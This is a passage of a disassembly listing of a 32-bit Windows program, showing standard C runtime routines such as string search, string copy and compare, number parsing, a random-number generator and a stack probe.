sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; --------------------------------------------------------------------------- loc_41C264: ; CODE XREF: sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43AE00 imul eax, 343FDh add eax, 269EC3h mov dword_43AE00, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD261[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: ___:0041E645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D084, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D084, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D084, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE78 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDDC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26A0927h test eax, eax jnz short loc_41C7D2 call near ptr 26B0669h nop jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; ___:0041E5BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short 